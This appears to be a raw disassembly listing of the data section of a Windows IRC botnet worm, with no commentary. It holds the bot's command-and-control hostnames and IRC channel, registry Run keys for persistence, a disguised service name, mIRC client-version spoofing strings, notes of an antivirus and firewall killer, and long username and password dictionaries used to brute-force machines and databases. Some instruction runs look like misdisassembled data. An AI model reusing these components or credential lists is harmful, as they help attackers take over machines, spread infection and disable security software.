aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D734o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D734h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D74C	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D74C
		dd offset dword_427E18+4
off_427E40	dd offset off_43D76C	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D76C
		dd offset unk_427E68
off_427E8C	dd offset off_43D78C	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D78C
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D7B0	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D7B0
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D734
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D734
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D74C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D76C
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D78C
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
; ---------------------------------------------------------------------------
		push	edx
		faddp	st(3), st
		sub	edx, [edx-22h]
		retn
; ---------------------------------------------------------------------------
		sub	edx, [edx-22h]
		retn
; ---------------------------------------------------------------------------
		sub	edx, [edx-22h]
		retn
; ---------------------------------------------------------------------------
		sub	edx, [edx-22h]
		retn
; ---------------------------------------------------------------------------
		db 2Bh
; ---------------------------------------------------------------------------
		retf	0E825h
; ---------------------------------------------------------------------------
		pop	edi
		retf	0E825h
; ---------------------------------------------------------------------------
		pop	edi
		retf	0E825h
; ---------------------------------------------------------------------------
		pop	edi
		retf	0E825h
; ---------------------------------------------------------------------------
		pop	edi
		retf	0E825h
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5 dup(5686590Eh), 7Ah dup(0)
		dd 5686590Eh, 0
		dd 2BC3DE52h, 15h dup(0)
; ---------------------------------------------------------------------------
		retf	0E825h
; ---------------------------------------------------------------------------
		db 5Fh
		dd 2FCh	dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 63h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 6Fh,	6Dh, 70h
		dd 65736E65h, 78652E72h, 65h
dword_429118	dd 646E6977h, 61622E73h, 74h ; DATA XREF: ___:00411C50o
aWindowsServces	db 'Windows Servcesc',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWindsys_dat	db 'windsys.dat',0
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 10h
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 4
off_42915C	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429160	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 8
		dd offset dword_43D7D8
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 8
dword_429498	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:00429484o
		align 4
aLan		db 'lan',0              ; DATA XREF: ___:0042947Co
aMain		db 'main',0             ; DATA XREF: ___:00429478o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:00429474o
aBlank		db 'blank',0            ; DATA XREF: ___:00429470o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:0042946Co
		align 4
aControl	db 'control',0          ; DATA XREF: ___:00429468o
aXp		db 'xp',0               ; DATA XREF: ___:00429464o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: ___:00429460o
		align 10h
aHp		db 'hp',0               ; DATA XREF: ___:0042945Co
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:00429458o
aCompaq		db 'compaq',0           ; DATA XREF: ___:00429454o
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429450o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: ___:0042944Co
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:00429448o
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429440o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:0042943Co
		align 4
aSql		db 'sql',0              ; DATA XREF: ___:00429438o
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
					; ___:00429434o
		align 10h
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429430o
		align 4
aDb1		db 'db1',0              ; DATA XREF: ___:00429428o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:00429424o
		align 10h
aData		db 'data',0             ; DATA XREF: ___:00429420o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:0042941Co
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00429418o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:00429414o
		align 4
aAccess		db 'access',0           ; DATA XREF: ___:00429410o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00429408o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:00429404o
		align 10h
aDomain		db 'domain',0           ; DATA XREF: ___:00429400o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:004293FCo
		align 10h
aHell		db 'hell',0             ; DATA XREF: ___:004293F8o
		align 4
aGod		db 'god',0              ; DATA XREF: ___:004293F4o
aSex		db 'sex',0              ; DATA XREF: ___:004293F0o
					; ___:off_4385B0o
aSlut		db 'slut',0             ; DATA XREF: ___:004293ECo
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:004293E8o
		align 10h
aFuck		db 'fuck',0             ; DATA XREF: ___:004293E4o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: ___:004293E0o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:004293DCo
		align 4
aTechnical	db 'technical',0        ; DATA XREF: ___:004293D8o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:004293D4o
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:004293D0o
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:004293CCo
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:004293C8o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004293C0o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293BCo
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004293B8o
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293B4o
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:004293B0o
aNeil		db 'neil',0             ; DATA XREF: ___:004293ACo
		align 4
aLee		db 'lee',0              ; DATA XREF: ___:004293A8o
aBrian		db 'brian',0            ; DATA XREF: ___:004293A4o
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:0042939Co
		align 4
aSue		db 'sue',0              ; DATA XREF: ___:00429398o
aSam		db 'sam',0              ; DATA XREF: ___:00429394o
aLuke		db 'luke',0             ; DATA XREF: ___:00429390o
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:0042938Co
					; ___:004293A0o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:00429388o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:00429384o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:00429380o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:0042937Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:00429378o
aJen		db 'jen',0              ; DATA XREF: ___:00429374o
aBob		db 'bob',0              ; DATA XREF: ___:00429370o
					; ___:004293C4o
aQwe		db 'qwe',0              ; DATA XREF: ___:0042936Co
aZxc		db 'zxc',0              ; DATA XREF: ___:00429368o
aAsd		db 'asd',0              ; DATA XREF: ___:00429364o
aQaz		db 'qaz',0              ; DATA XREF: ___:00429360o
aWin2000	db 'win2000',0          ; DATA XREF: ___:0042935Co
aWinnt		db 'winnt',0            ; DATA XREF: ___:00429358o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: ___:00429354o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429350o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: ___:0042934Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:00429348o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:00429344o
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429340o
aOem		db 'oem',0              ; DATA XREF: ___:0042933Co
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
					; ___:00429338o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:00429334o
		align 4
aHome		db 'home',0             ; DATA XREF: ___:00429330o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:0042932Co
		align 10h
aAccounts	db 'accounts',0         ; DATA XREF: ___:00429328o
		align 4
aInternet	db 'internet',0         ; DATA XREF: ___:00429324o
					; ___:00429480o
		align 4
aWww		db 'www',0              ; DATA XREF: ___:00429320o
aWeb		db 'web',0              ; DATA XREF: ___:0042931Co
aOutlook	db 'outlook',0          ; DATA XREF: ___:00429318o
aMail		db 'mail',0             ; DATA XREF: ___:00429314o
		align 10h
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429310o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:0042930Co
		align 10h
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
					; ___:00429304o
		align 4
aSystem		db 'system',0           ; DATA XREF: ___:00429300o
		align 10h
aChangeme	db 'changeme',0         ; DATA XREF: ___:004292F8o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:004292F4o
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:004292F0o
		align 4
aDemo		db 'demo',0             ; DATA XREF: ___:004292ECo
		align 4
aNone		db 'none',0             ; DATA XREF: ___:004292E8o
		align 4
aTest		db 'test',0             ; DATA XREF: ___:004292E0o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:004292DCo
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
					; ___:004292D8o
		align 4
a2002		db '2002',0             ; DATA XREF: ___:004292D4o
		align 4
a2001		db '2001',0             ; DATA XREF: ___:004292D0o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:004292CCo
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:004292C8o
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:004292C4o
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292C0o
		align 10h
a1234567	db '1234567',0          ; DATA XREF: ___:004292BCo
a123456		db '123456',0           ; DATA XREF: ___:004292B8o
		align 10h
a12345		db '12345',0            ; DATA XREF: ___:004292B4o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:004292B0o
		align 10h
a123		db '123',0              ; DATA XREF: ___:004292ACo
a12		db '12',0               ; DATA XREF: ___:004292A8o
		align 4
a1:					; DATA XREF: ___:004292A4o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292A0o
aPwd		db 'pwd',0              ; DATA XREF: ___:0042929Co
aPass		db 'pass',0             ; DATA XREF: ___:00429298o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:00429294o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:00429290o
		align 10h
aPassword	db 'password',0         ; DATA XREF: ___:0042928Co
		align 4
aPassword1	db 'password1',0        ; DATA XREF: ___:00429288o
		align 4
aAdm		db 'adm',0              ; DATA XREF: ___:00429284o
aDb2		db 'db2',0              ; DATA XREF: ___:00429260o
					; ___:0042942Co
aOracle		db 'oracle',0           ; DATA XREF: ___:0042925Co
					; ___:00429444o
		align 4
aDba		db 'dba',0              ; DATA XREF: ___:00429258o
aDatabase	db 'database',0         ; DATA XREF: ___:00429254o
					; ___:0042940Co
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:00429250o
					; ___:004292FCo
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042924Co
					; ___:004292E4o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: ___:00429248o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:00429244o
					; ___:0042948Co
aStudent	db 'student',0          ; DATA XREF: ___:00429240o
					; ___:00429488o
aOwner		db 'owner',0            ; DATA XREF: ___:0042923Co
		align 4
aComputer	db 'computer',0         ; DATA XREF: ___:00429238o
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:00429234o
					; ___:00429308o
		align 10h
aStaff		db 'staff',0            ; DATA XREF: ___:00429230o
					; ___:00429490o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:0042922Co
					; ___:00429280o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: ___:00429228o
					; ___:0042927Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:00429224o
					; ___:00429278o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:00429220o
					; ___:00429274o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:0042921Co
					; ___:00429270o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:00429218o
					; ___:0042926Co
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42915Co
dword_4299A0	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_4299D4	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429A00	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_429A40	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A64	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429A80	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429A8C	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
